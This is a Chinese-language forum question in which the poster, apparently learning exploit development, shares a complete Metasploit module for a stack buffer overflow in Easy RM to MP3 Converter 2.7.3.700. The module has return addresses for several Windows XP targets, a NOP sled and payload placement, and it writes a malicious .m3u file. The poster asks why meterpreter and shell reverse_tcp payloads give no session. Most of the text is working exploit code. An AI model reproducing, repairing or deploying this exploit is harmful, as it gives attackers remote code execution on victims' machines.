前段时间我开始学习写漏洞利用并创建了一些漏洞利用。其中一个很容易rm
转换mp3
,而且效果很好。但是,现在我考虑将我的漏洞利用程序转换为 metasploit 模块,并按照许多文章中给出的步骤进行操作。但是,我面临的唯一错误是有效负载不起作用。最终,我求助于在网上寻找一个类似的模块,并找到了一个肯定可以工作的模块。但是,当使用meterpreter 有效负载时,我没有返回meterpreter 会话或shell。进行一些更改后,这是我使用的:
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Easy RM to MP3 Converter (2.7.3.700) Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in versions 2.7.3.700
creating a specially crafted .m3u8 file, an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Crazy_Hacker', # Original
'buzz',
],
'Version' => 'Version 1',
'References' =>
[
[ 'URL', 'http://packetstormsecurity.org/files/view/79307/easyrmmp3-overflow.txt' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 (En)', { 'Ret' => 0x01A13F01} ], # Universal Address (MSRMCcodec02.dll)
[ 'Windows XP SP3 (Fr)', { 'Ret' => 0x01AAF23A} ], # FFE4 ,JMP, ESP from (MSRMCcodec02.dll)
[ 'Windows XP (Universal)', { 'Ret' => 0x773D4540} ], # JMP ESP in (SHELL32.DLL)
],
'Privileged' => false,
'DefaultTarget' => 1))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'buzz.m3u']),
], self.class)
end
def exploit
sploit ="A"*26068 # rand_text_alphanumeric(26068) # Buffer Overflow
sploit << [target.ret].pack('V')
sploit << "\x90" * 30 # nopsled
sploit << payload.encoded
sploit << "B"*1000
buzz= sploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buzz)
end
end
我尝试了许多有效载荷:meterpreter/reverse_tcp
,shell/reverse_tcp
等,但似乎都没有。有什么解决办法吗?